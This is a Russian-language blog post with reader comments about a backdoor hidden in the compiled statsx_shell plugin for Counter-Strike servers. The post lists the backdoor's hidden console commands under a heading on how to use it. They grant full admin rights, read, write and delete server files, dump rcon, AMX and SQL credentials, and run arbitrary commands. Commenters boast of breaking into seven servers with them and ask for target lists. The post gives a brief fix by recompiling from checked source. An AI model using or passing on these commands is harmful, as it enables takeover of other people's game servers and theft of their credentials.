Бэкдор в плагине statsx_shell от Mastaman

Буквально пару дней назад одним из пользователей крупнейшего Украинского Форума по поддержки и настройки Counter–Strike серверов, была опубликована новость в которой говорилось об Бэкдоре (backdoor) в плагине statsx_shell от Mastaman (пользователя того же форума), в исходнике его конечно нет, он присутствует в уже скомпилированной версии.
Как использовать Бэкдор, Команды :mm_plugins sosimandy_adm — получить админку, права: abcdefghijklmnopqrstu
mm_plugins sosimandy_del «» — удалить файл
mm_plugins sosimandy_wr «» «text» — записать в файл
mm_plugins sosimandy_rd «» — прочитать файл
mm_plugins sosimandy_dir «» — показать что в папке
mm_plugins sositesyki — выводит rcon_password, amx_password_field, amx_sql_host
mm_plugins sositesyki «say Hello» — выполняет команду на сервере

Еще раз повторюсь, Бэкдор только в скомпилированной версии плагина, для того чтобы устранить Бэкдор достаточно скачать исходник  и скомпилировать его, перед этим проверить код исходника на присутствие Бэкдора

[download id=»7″]

14 комментариев

  • 1 DeX написал(а) Окт 2, 2012 в 10:08

    Лохи и сюда свой бэкдур уже засунули

  • 2 Сдуч написал(а) Окт 4, 2012 в 00:58

    Сюда это куда ? =-O тут в архиве лежит исходник и он чист !

  • 3 tyne написал(а) Май 25, 2013 в 20:51

    ahahaha
    MastaMan харооошь! 5+! 8)

  • 4 Игорь написал(а) Июн 26, 2013 в 06:48

    Кто поставит себе этот тоник напишите мне серв я посмотрю как оно и чё!моя страничка в вк http://vk.com/id188628704

  • 5 3aB}{o3 написал(а) Июн 26, 2013 в 20:11

    Игорь: не совсем понял тебя, если ты про плагин то он тут стоит 151.248.123.99:27015 8)

  • 6 ae12 написал(а) Июл 27, 2013 в 20:54

    [:-} [:-} *YAHOO* *YAHOO* *YAHOO* *YAHOO* *YAHOO* *YAHOO* *YAHOO* *YAHOO* *YAHOO* СПС админ кулл )))

  • 7 филипп написал(а) Сен 28, 2013 в 01:15

    куда кидать? :( :(

  • 8 Владелец написал(а) Фев 1, 2014 в 04:40

    Куда нибудь кинь уже :-D

  • 9 JoA написал(а) Сен 5, 2014 в 19:57

    всё работает всё спасибо

  • 10 мастер написал(а) Дек 25, 2014 в 21:01

    Плагин работает mm plugins sositesyki
    Взломал 7 серверов

  • 11 3aB}{o3 написал(а) Дек 31, 2014 в 19:27

    Мастер скинь список серверов :-D

  • 12 Аслан написал(а) Янв 6, 2015 в 16:23

    mm_plugins sositesyki

  • 13 @min написал(а) Дек 1, 2015 в 17:01

    Здрасте,помогите мне прописат админку по ип или по стеамИД,скину Ип сервера тогда всем удачи в игре! ! ! =-O

  • 14 3aB}{o3 написал(а) Дек 8, 2015 в 09:32

    Админка по SteamID «STEAM_0:0:123456» «» «abcdefghijklmnopqrstu» «ce»
    Админка по Ip «123.45.67.89» «» «abcdefghijklmnopqrstu» «de»

    Подробнее тут